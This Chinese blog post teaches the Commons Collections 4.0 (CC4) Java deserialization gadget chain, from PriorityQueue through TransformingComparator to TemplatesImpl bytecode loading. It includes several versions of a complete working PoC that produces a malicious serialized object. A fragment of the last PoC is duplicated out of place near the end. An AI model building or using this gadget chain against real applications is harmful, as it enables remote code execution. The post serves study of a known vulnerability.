首页 > 其他分享 >CC4利用链分析

CC4利用链分析

时间:2024-07-10 14:28:25浏览次数:11  
标签:templates templatesClass 链分析 CC4 Object public 利用 new class

我的Github主页Java反序列化学习同步更新,有简单的利用链图

分析版本

Commons Collections 4.0

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

在Commons Collections 4.0中,TransformingComparator类变为可序列化类,增加了一条攻击链。

CC4在CC3的基础上,改变了利用链的入口类。(CC3利用是任意代码执行比runtime命令执行可利用性更强)

寻找ChainedTransformer.transform的调用,找到了TransformingComparator.compare

image-20240708112104358

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

TransformingComparator的构造函数又可以给transformer传值。我们将ChainedTransformer(实现任意代码执行)传给transformer,而ChainedTransformer.transform()中传值任意都可以(因为tranforme数组第一个元素是ConstantTransformer)

所以再找一个readObject,可以调用TransformingComparator.compare()就行,传值任意。

之后作者是找到了PriorityQueue.readObject -> heapify() -> siftDown -> siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private final Comparator<? super E> comparator;  //TransformingComparator类实现了Comparator接口

我们保证comparator是TransformingComparator类,而comparator又可以通过构造函数赋值,到这利用链完成。

更新Poc

public class cc4 {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        //ChainedTransformer
        //PriorityQueue
        //CC3
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("ss.ser");

    }
}

执行没反应

这是因为在入口类中PriorityQueue有些参数需要控制

image-20240708114411102

heapify中 size传入的是0,没有进入for循环。

>>>是无符号右移运算符,右移n位,高位补零。size最小取2,>>>size才大于0。

所以我们在队列中加入两个1,让size=2。

更新Poc

public class cc4 {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        //ChainedTransformer
        //PriorityQueue
        //CC3
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        serialize(priorityQueue);
        unserialize("ss.ser");

    }
}

这次在执行序列化时计算器就被弹出了,和URLDNS链一样利用链在序列化时就被走了一遍。

这里是在priorityQueue.add(1);时触发的利用链

image-20240708135212518

防止这种情况就是在add之前把链断掉,add之后序列化之前再通过反射把利用链写好。

public class cc4 {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        //ChainedTransformer
        //PriorityQueue
        //CC3
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class transformingComparatorClass = transformingComparator.getClass();            //通过反射把利用链改回
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);

        //serialize(priorityQueue);
        unserialize("ss.ser");

    }
}
ngComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);

        //serialize(priorityQueue);
        unserialize("ss.ser");

    }
}

标签:templates,templatesClass,链分析,CC4,Object,public,利用,new,class
From: https://blog.csdn.net/weixin_45436292/article/details/140267151

相关文章

  • AI绘画 | 如何利用SD垫图实现照片风格转换
    “小红书上有很多用AI做卡通头像的,大概思路是你拍一张个人照片发给博主,博主利用midjourney的垫图功能转换成卡通形象,一张收取一定费用……”看过之前文章的人都应该知道,midjourney是付费的软件,而且需要一定魔法上网能力。今天给大家分享,利用StableDiffusion(以下简称SD)的......
  • 利用BLIP和BLIP-2进行图像与文本特征提取:如何构建一个多模态搜索引擎
    来源网址:https://medium.com/@enrico.randellini/image-and-text-features-extraction-with-blip-and-blip-2-how-to-build-a-multimodal-search-engine-a4ceabf51fbe结合ViT和LLM的力量进行图像-文本检索任务引言图像与语言看似属于两个不同的领域,以及与之相关的常见问题。......
  • 利用AI智能体实现自动化公开课
    在这个信息爆炸的时代,AI技术逐渐渗透到各行各业,为我们的工作提供了更多可能性。在即将开始的公开课中,我们将探讨如何利用AI智能体实现自动化,从而打造专属AI助理,提升工作效率。主要内容课程的主要内容涵盖AIAgent介绍与开发框架,ReAct自动推理模式与AutoGPT产品,手工用例直接转自......
  • 利用SpringBoot+rabbitmq 实现邮件异步发送,保证100%投递成功
    在之前的文章中,我们详细介绍了SpringBoot整合mail实现各类邮件的自动推送服务。但是这类服务通常不稳定,当出现网络异常的时候,会导致邮件推送失败。本篇文章将介绍另一种高可靠的服务架构,实现邮件100%被投递成功。类似的短信自动发送等服务也大体相同。一、先来一张流程图......
  • 多条宽带负载均衡是一种常见的网络优化技术,通常用于增加网络带宽、提高网络性能和可靠
    多条宽带负载均衡是一种常见的网络优化技术,通常用于增加网络带宽、提高网络性能和可靠性。在实现多条宽带负载均衡时,可以考虑以下几种方法:路由器级别的负载均衡:智能路由器:某些商业路由器支持多个WAN口,并能够智能地根据网络流量来分配数据到不同的宽带线路上,实现负载均衡。......
  • Exchange被黑客利用做中继外发垃圾邮件问题分析
    近期有用户反馈有大量非本域的邮件从自家服务器发出,还成功投递出来了,不过不用担心,到我们服务商这边被识破,全部拦截下来。以下是用户自建服务器发出的垃圾邮件案例:以上信息只有ip是用户自建服务器的,发件人和邮件都非用户本人发送,可以看出域名都可以通过客户的服务器中继出来发送......
  • 聊聊springboot项目如何利用jmh来进行基准测试
    前言1、什么是JMHJMH(JavaMicrobenchmarkHarness)是由OpenJDK团队开发的一个用于Java微基准测试工具套件,主要是基于方法层面的基准测试,精度可以达到纳秒级。它提供了一种标准、可靠且可重复的方式来衡量Java代码的性能,包括方法调用、对象创建以及其他类型的JVM级别的操作。J......
  • 前端面试题27(在实际项目中,如何有效地利用Vue3的响应式系统提高性能?)
    在实际项目中,有效利用Vue3的响应式系统提高性能主要涉及以下几个关键点:1.合理使用reactive和refreactive:用于将复杂的数据结构(如对象或数组)转换成响应式版本。确保只将需要实时更新的数据结构声明为响应式,避免不必要的全局响应化,以减少性能开销。ref:用于创建基本类型......
  • 利用AI设计从线稿到效果图,SD室内设计轻松搞定
    大家好,欢迎来到今天的StableDIffusion室内设计教程分享,今天我们来讲一讲SD在室内设计当中的一些用法,希望能帮助一些做室内设计的伙伴提高一些效率。文章使用的AI工具SD整合包、各种模型插件、提示词、AI人工智能学习资料都已经打包好放在网盘中了,无需自行查找,有需要的小伙......
  • 利用Python进行数据分析PDF下载经典数据分享推荐
    本书由Pythonpandas项目创始人WesMcKinney亲笔撰写,详细介绍利用Python进行操作、处理、清洗和规整数据等方面的具体细节和基本要点。第2版针对Python3.6进行全面修订和更新,涵盖新版的pandas、NumPy、IPython和Jupyter,并增加大量实际案例,可以帮助你高效解决一系列数据分析问题。......